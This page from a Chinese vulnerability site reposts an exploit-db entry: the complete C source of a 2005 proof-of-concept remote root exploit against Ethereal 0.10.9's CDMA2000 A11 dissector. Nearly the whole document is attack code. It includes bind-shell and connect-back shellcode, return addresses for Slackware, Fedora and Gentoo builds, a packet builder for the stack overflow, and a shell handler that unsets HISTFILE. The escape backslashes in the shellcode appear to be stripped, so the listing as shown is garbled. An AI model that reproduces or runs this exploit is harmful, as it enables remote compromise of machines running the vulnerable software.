Ethereal 0.10.9 (Linux) – ‘3G-A11’ Remote Buffer Overflow

Ethereal 0.10.9 (Linux) – ‘3G-A11’ Remote Buffer Overflow

漏洞ID 1054967 漏洞类型
发布时间 2005-03-14 更新时间 2005-03-14
图片[1]-Ethereal 0.10.9 (Linux) – ‘3G-A11’ Remote Buffer Overflow-安全小百科CVE编号 N/A
图片[2]-Ethereal 0.10.9 (Linux) – ‘3G-A11’ Remote Buffer Overflow-安全小百科CNNVD-ID N/A
漏洞平台 Linux CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/878
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
/*
 * Ethereal 0.10.9 and below proof-of-concept remote root exploit
 * (c) 2005 Diego Giagio <[email protected]>
 *
 * The CDMA2000 A11 protocol dissector (packet-3g-a11.c) has a stack overflow
 * vulnerability when decoding Airlink records. This vulnerability was also
 * discovered by Diego Giagio on 01/March/2005. The vendor was imediatelly
 * contacted.
 *
 *
 * Notes:
 *
 * This program has only been tested on Linux.
 *
 * If your system isn't on the target list and you are running Linux (x86), you
 * can easily find your system's ret address. See below:
 *
 * First you need to force Ethereal dump a core file.
 * bash$ ./ethereal-g3-a11 -a 0xdeadbeef -s 1 -d <your_machine_ip> -p 65535
 *
 * Then, use the script below to find the ret address from the core file:
 * --snip--
 * #!/bin/sh
 *
 * ADDR=`objdump -D -s core | 
 * grep "90909090 90909090 90909090 90909090" | 
 * head -2 | tail -1 | awk '{print 0x$1}'`
 * echo "Address: 0x$ADDR"
 * --snip--
 *
 * Use that address with the -a <address> option. Good luck.
 *
 *
 * Greets:
 *
 * ttaranto, eniac, rogbas, pjoppert, skylazart, cync, runixd,
 * surfer, setnf, cbc, SUiCiDE, _hide, Codak, dm_, nuTshell
 *
 * #[email protected]
 *
 */

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>

/*
 * portbind, execve /bin/sh linux shellcode by BreeZe <[email protected]>
 */
char sc_portbind[] =
"x31xc0x89x45x10x40x89xc3x89x45x0cx40x89x45x08x8dx4dx08"
"xb0x66xcdx80x89x45x08x43x89x5dx14x66xc7x45x16xffxffx31"
"xc0x89x45x18x8dx55x14x89x55x0cxc6x45x10x10xb0x66xcdx80"
"x40x89x45x0cx43x43xb0x66xcdx80x43x89x45x0cx89x45x10xb0"
"x66xcdx80x89xc3x31xc9xb0x3fxcdx80x41xb0x3fxcdx80x41xb0"
"x3fxcdx80xebx1ax5ex31xc0x88x46x07x8dx1ex89x5ex08x89x46"
"x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80xe8xe1xffxffxff"
"x2fx62x69x6ex2fx73x68x54x52x4fx45x50x4ax55x48x53";

/*
 * connectback, execve /bin/sh linux shellcode by BreeZe <[email protected]>
 * slighty modified by Diego Giagio <[email protected]>
 */
char sc_connectback[] = 
"x31xc0x89x45x10x40x89xc3x89x45x0cx40x89x45x08x8dx4dx08"
"xb0x66xcdx80x89x45x08x43x89x5dx14x43x66xc7x45x16xffxff"
"xc7x45x18xc6x51x81x64x8dx55x14x89x55x0cxc6x45x10x10xb0"
"x66xcdx80x8bx5dx08x31xc9xb0x3fxcdx80x41xb0x3fxcdx80x41"
"xb0x3fxcdx80xebx1ax5ex31xc0x88x46x07x8dx1ex89x5ex08x89"
"x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80xe8xe1xffxff"
"xffx2fx62x69x6ex2fx73x68x54x52x4fx45x50x4ax55x48x53";


typedef enum
{
    SC_NULL         = -1,
    SC_PORTBIND     =  1,
    SC_CONNECTBACK  =  2
} shellcode_type_t;

struct shellcode_t
{
    int id;

    shellcode_type_t type;

    char *desc;
    char *data;

    int host_offset;
    int port_offset;
};

struct shellcode_t shellcode_list[] =
{
    {1,  SC_PORTBIND,    "portbind",    sc_portbind,    -1, 33},
    {2,  SC_CONNECTBACK, "connectback", sc_connectback, 39, 34},
    {-1, SC_NULL, NULL, NULL, -1, -1}
};

struct target_t
{
    int   id;
    char *desc;
    long  addr;
};

struct target_t target_list[] =
{
    {1,  "Slackware 10.1      - ethereal 0.10.9 from source",   0x0812d110},
    {2,  "Slackware 10.1      - tethereal 0.10.9 from source",  0x081f30d0},
    {3,  "Fedora Core 3       - ethereal  0.10.9 from rpm",     0x08117a80},
    {4,  "Fedora Core 3       - tethereal 0.10.9 from rpm",     0x08690ac0},
    {4,  "Gentoo 2004.3       - tethereal 0.10.9 from portage", 0x081c3d90},
    {-1, NULL, -1}
};

#define PROTO_3G_A11_PORT 699

char proto_3g_a11_begin[] =
"x01"             // a11 message type - registration request
"x0a"             // flags
"xffxff"         // lifetime 0000 to ffff
"x00x00x00x00" // home address
"xf0x00xbax00" // home agent addr - any addr
"x00x00x00x00" // care of addr - any addr
"xdexadxbexefxd0x00x00x0d" // identification
"x26"             // ext type - CVSE_EXT
"x00"             // nada
"xffxff"         // ext len
"x00x00x00x00" // vse vid
"x01x01"         // vse apptype 0x0101
;

char proto_3g_a11_before_shellcode[] =
"x1a" // radius vendor specific
"xff" // len
;

char proto_3g_a11_before_retaddrs[] =
"x1f" // radius ad-hoc
"xfe" // len
;

static int
find_shellcode_by_id (int id, struct shellcode_t **sc)
{
    int i;

    for (i=0; shellcode_list[i].id != -1; i++)
    {
	if (shellcode_list[i].id == id)
	{
	    *sc = &shellcode_list[i];
	    return 0;
	}
    }

    return -1;
}

static int
find_target_by_id (int id, struct target_t **target)
{
    int i;

    for (i=0; target_list[i].id != -1; i++)
    {
	if (target_list[i].id == id)
	{
	    *target = &target_list[i];
	    return 0;
	}
    }

    return -1;
}

int
parse_ip (const char *ipstr, long *ip)
{
    int a, b, c, d;

    if (sscanf (ipstr, "%d.%d.%d.%d", &a, &b, &c, &d) != 4)
	return -1;

    *ip  = (d & 0x000000ff);
    *ip |= (c & 0x000000ff) << 8;
    *ip |= (b & 0x000000ff) << 16;
    *ip |= (a & 0x000000ff) << 24;

    return 0;
}

static int
sock_create (int type, int proto)
{
    struct linger l;
    int sock;
    int sockopt;
    int ret;
    
    sock = socket (type, proto, 0);
    if (sock < 0)
	return -1;
    
    l.l_onoff  = 1;
    l.l_linger = 0;
    ret = setsockopt (sock, SOL_SOCKET, SO_LINGER, &l, sizeof (l));
    if (ret < 0)
    {
	close (sock);
	return -2;
    }
    
    sockopt = 1;
    ret = setsockopt (sock, SOL_SOCKET, SO_REUSEADDR, &sockopt,
		      sizeof (sockopt));
    if (ret < 0)
    {
	close (sock);
	return -3;
    }

    return sock;
}

static int
sock_udp_create (void)
{
    return sock_create (AF_INET, SOCK_DGRAM);
}

static int
sock_tcp_create (void)
{
    return sock_create (AF_INET, SOCK_STREAM);
}

static int
sock_connect (int sock, long host, int port)
{
    struct sockaddr_in addr;

    memset (&addr, 0, sizeof (addr));
    addr.sin_family = AF_INET;
    addr.sin_port   = htons (port);
    addr.sin_addr.s_addr = htonl (host);

    if (connect (sock, (struct sockaddr *)&addr, sizeof (addr)) < 0)
	return -1;

    return sock;
}

static int
sock_bind (int sock, long host, int port)
{
    struct sockaddr_in addr;

    memset (&addr, 0, sizeof (addr));
    addr.sin_family = AF_INET;
    addr.sin_port   = htons (port);
    addr.sin_addr.s_addr = htonl (host);

    if (bind (sock, (struct sockaddr *)&addr, sizeof (addr)) < 0)
	return -1;

    if (listen (sock, 1) < 0)
	return -1;
}

static int
sock_accept (int sock)
{
    fd_set fds;
    struct sockaddr_in addr;
    struct timeval tv;
    int new_sock;
    int ret;

    FD_ZERO (&fds);
    FD_SET (sock, &fds);

    tv.tv_sec  = 10;
    tv.tv_usec = 0;

    ret = select (sock + 1, &fds, NULL, NULL, &tv);
    if (ret < 0)
	return -1;

    if (ret == 0)
    {
	errno = ETIMEDOUT;
	return -1;
    }

    if (FD_ISSET (sock, &fds))
    {
	int i = sizeof (addr);

	new_sock = accept (sock, (struct sockaddr *)&addr, &i);
	if (new_sock < 0)
	    return -1;

	return new_sock;
    }

    return -1;
}

static void
sock_disconnect (int sock)
{
    close (sock);
}

static int
sock_send_payload (long dest, int port, char *packet, int packet_len)
{
    int sock;

    /* create udp socket */
    sock = sock_udp_create ();
    if (sock_connect (sock, dest, PROTO_3G_A11_PORT) < 0)
	    return -1;

    /* send packet */
    send (sock, packet, packet_len, 0);

    printf ("[-] UDP packet sent (%d bytes).n", packet_len);
    fflush (stdout);

    /* disconnect socket */
    sock_disconnect (sock);

    return 0;
}

static void
shell (int sock)
{
    fd_set fds;
    char *cmd = "unset HISTFILE; /bin/uname -a; /usr/bin/idn";
    char  buf [2048];
    int   n;

    printf ("[-] Enjoy your shelln");
    printf ("n");


    send (sock, cmd, strlen (cmd), 0);

    while (1)
    {
	FD_ZERO (&fds);
	FD_SET (sock, &fds); /* socket */
	FD_SET (0, &fds);    /* stdin */

	if (select (sock + 1, &fds, NULL, NULL, NULL) < 0)
	    break;

	if (FD_ISSET (sock, &fds))
	{
	    if ((n = recv (sock, buf, sizeof (buf), 0)) < 0)
	    {
		perror ("[-] shell(): error reading from socket: recv()");
		return;
	    }

	    if (n == 0)
		break;

	    if ((write (1, buf, n)) < 0)
	    {
		perror ("[-] shell(): error writing to stdout: write()");
		return;
	    }
	}

	if (FD_ISSET (0, &fds))
	{
	    if ((n = read (0, buf, sizeof (buf))) < 0)
	    {
		perror ("[-] shell(): error reading from stdin: read()");
		return;
	    }

	    if ((send (sock, buf, n, 0)) < 0)
	    {
		perror ("[-] shell(): error writing to socket: send()");
		return;
	    }

	    if (n == 0)
		break;
	}
    }

    printf ("[-] Connection closed.n");
}

static void
shell_portbind (long dest, int port, char *packet, int packet_len)
{
    int sock;


    if (sock_send_payload (dest, port, packet, packet_len) < 0)
    {
	perror ("[-] Unable to send payload");
	return;
    }

    sock = sock_tcp_create ();
    if (sock < 0)
    {
	perror ("[-] Error creating socket");
	return;
    }

    printf ("[-] Delaying 3 seconds before connection attempt (portbind).");
    fflush (stdout);
    sleep (1);
    printf (".");
    fflush (stdout);
    sleep (1);
    printf (".");
    fflush (stdout);
    sleep (1);
    printf ("n");

    if (sock_connect (sock, dest, port) < 0)
    {
	perror ("[-] Unable to connect");
	return;
    }

    shell (sock);
    sock_disconnect (sock);
}

static void
shell_connectback (long host, int port, long dest,
		   char *packet, int packet_len)
{
    int sock;
    int new_sock;

    sock = sock_tcp_create ();
    if (sock < 0)
    {
	perror ("[-] Error creating socket");
	return;
    }

    /* we bind before sending the payload to avoid not being
     * listening when the connectback shellcode tries to connect
     */
    if (sock_bind (sock, host, port) < 0)
    {
	perror ("[-] Unable to bind/listen");
	return;
    }

    if (sock_send_payload (dest, port, packet, packet_len) < 0)
    {
	perror ("[-] Unable to send payload");
	return;
    }

    printf ("[-] Waiting 10s for incoming connection (connectback)...n");
    fflush (stdout);

    new_sock = sock_accept (sock);
    if (new_sock < 0)
    {
	perror ("[-] Unable to accept connection");
	return;
    }

    sock_disconnect (sock);

    shell (new_sock);
    sock_disconnect (new_sock);
}

static void
prog_info (void)
{
    printf ("Ethereal 0.10.9 and below proof-of-concept remote exploit.n");
    printf ("(c) 2005 Diego Giagio <[email protected]>n");
    printf ("n");
}

static void
usage (const char *prog)
{
    int i;

    prog_info ();

    printf ("Usage:n");
    printf ("  [-] %s -t <target> -s <shellcode> -d <dest ip> "
	    "-h <host> -p <port>n"
	    "  [-] %s -a <addr>   -s <shellcode> -d <dest ip> "
	    "-h <host> -p <port>n", prog, prog);

    printf ("n");

    printf ("Target:n");
    for (i=0; target_list[i].id != -1; i++)
    {
	printf ("  [-] %d. %s, addr: 0x%xn",
		target_list[i].id, target_list[i].desc, target_list[i].addr);
    }

    printf ("n");

    printf ("Shellcode:n");
    for (i=0; shellcode_list[i].id != -1; i++)
    {
	printf ("  [-] %d. %sn",
		shellcode_list[i].id,
		shellcode_list[i].desc);
    }

    printf ("n");

    printf ("Info:n");
    printf ("  [-] 1. When using connectback shellcode, you must specifyn");
    printf ("  [-]    the host to receive the connection (-h).n");
    printf ("n");
    printf ("  [-] 2. When using portbind shellcode, the option (-h) will n");
    printf ("  [-]    have no effect.n"); 

    printf ("n");
}

int
main (int argc, char *argv[])
{
    struct target_t    *target    = NULL;
    struct shellcode_t *shellcode = NULL;
    int    shellcode_len;

    long dest = 0;
    long host = 0;
    int  port = 0;
    long addr = 0;

    int opt;
    int opt_err = 0;
    int i;

    char *ptr_pkt;
    char  pkt[1500];
    int   pkt_len;

    while ((opt = getopt (argc, argv, "t:s:d:h:p:a:")) != EOF) 
    {
	switch (opt)
	{

	case 't': /* target id */
	    if (find_target_by_id (atoi (optarg), &target) < 0)
	    {
		printf ("Not a valid target id.n");
		opt_err ++;
	    }
	    break;

	case 's': /* shellcode id */
	    if (find_shellcode_by_id (atoi (optarg), &shellcode) < 0)
	    {
		printf ("Not a valid shellcode id.n");
		opt_err ++;
	    }
	    break;

	case 'd': /* destination */
	    if (parse_ip (optarg, &dest) < 0)
	    {
		printf ("Invalid address for destination.n");
		opt_err ++;
	    }
	    break;

	case 'h': /* host for connectback */
	    if (parse_ip (optarg, &host) < 0)
	    {
		printf ("Invalid address for host.n");
		opt_err ++;
	    }

	    break;

	case 'p': /* port for connectback or portbind */
	    port = atoi (optarg);
	    if (port < 0 || port > 65535)
	    {
		printf ("Invalid port.n");
		opt_err ++;
	    }

	    break;

	case 'a': /* ret address */
	    if (sscanf (optarg, "0x%x", &addr) != 1)
	    {
		printf ("Invalid address.n");
		opt_err ++;
	    }
	    break;

	case '?':
	default:
		usage (argv[0]);
		opt_err ++;
		break;
	}
    }

    if (opt_err != 0)
	return -1;

    if (argc < 2)
    {
	    usage (argv[0]);
	    return 0;
    }

    if (target == NULL && addr == 0)
    {
	printf ("Please choose either a target (-t) or an address (-a).n");
	return -1;
    }

    if (target != NULL && addr != 0)
    {
	printf ("Target (-t) and address (-a) cannot be used together.n");
	return -1;
    }

    addr = target != NULL ? target->addr : addr;

    if (shellcode == NULL)
    {
	printf ("Please choose a shellcode (-s).n");
	return -1;
    }

    shellcode_len = strlen (shellcode->data);

    if (dest == 0)
    {
	printf ("Please choose a destination (-d).n");
	return -1;
    }

    if (shellcode->host_offset != -1)
    {
	char *ptr;

	if (host == 0)
	{
	    printf ("Please choose a host (-h).n");
	    return -1;
	}

	ptr      = shellcode->data + shellcode->host_offset;
	*(ptr++) = (host & 0xff000000) >> 24;
	*(ptr++) = (host & 0x00ff0000) >> 16;
	*(ptr++) = (host & 0x0000ff00) >> 8;
	*(ptr++) = (host & 0x000000ff);
    }

    if (shellcode->port_offset != -1)
    {
	char *ptr;

	if (port == 0)
	{
	    printf ("Please choose a port (-p).n");
	    return -1;
	}

	ptr      = shellcode->data + shellcode->port_offset;
	*(ptr++) = (port & 0xff00) >> 8;
	*(ptr++) = (port & 0x00ff);
    }


    /* copyright */
    prog_info ();

    /* some info */
    printf ("[-] Using addr 0x%xn", addr);
    fflush (stdout);

    /* build packet */
    ptr_pkt = pkt;

    memcpy (ptr_pkt, proto_3g_a11_begin,
	    sizeof (proto_3g_a11_begin));
    ptr_pkt += sizeof (proto_3g_a11_begin) - 1;

    memcpy (ptr_pkt, proto_3g_a11_before_shellcode,
	    sizeof (proto_3g_a11_before_shellcode));
    ptr_pkt += sizeof (proto_3g_a11_before_shellcode) - 1;

    /* shellcode */
    memset (ptr_pkt, 0x90, 255);
    ptr_pkt += 255 - shellcode_len - 2;
    memcpy (ptr_pkt, shellcode->data, shellcode_len);
    ptr_pkt += shellcode_len;

    memcpy (ptr_pkt, proto_3g_a11_before_retaddrs,
	    sizeof (proto_3g_a11_before_retaddrs));
    ptr_pkt += sizeof (proto_3g_a11_before_retaddrs) - 1;
    
    /* addrs */
    for (i=0; i<254; i+=4)
    {
	ptr_pkt[i]   = (addr & 0x000000ff);
	ptr_pkt[i+1] = (addr & 0x0000ff00) >> 8;
	ptr_pkt[i+2] = (addr & 0x00ff0000) >> 16;
	ptr_pkt[i+3] = (addr & 0xff000000) >> 24;
    }
    ptr_pkt += 254;

    /* calc packet len */
    pkt_len = ptr_pkt - pkt;


    switch (shellcode->type)
    {
    case SC_PORTBIND:
	shell_portbind (dest, port, pkt, pkt_len);
	break;
    case SC_CONNECTBACK:
	shell_connectback (host, port, dest, pkt, pkt_len);
	break;
    default:
	/* NOT REACHED */
	break;
    }

    return 0;
}



// milw0rm.com [2005-03-14]

相关推荐: Linux Kernel Inter Intergrated Circuit Bus Driver Integer Overflow Vulnerability

Linux Kernel Inter Intergrated Circuit Bus Driver Integer Overflow Vulnerability 漏洞ID 1098350 漏洞类型 Boundary Condition Error 发布时间 2…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享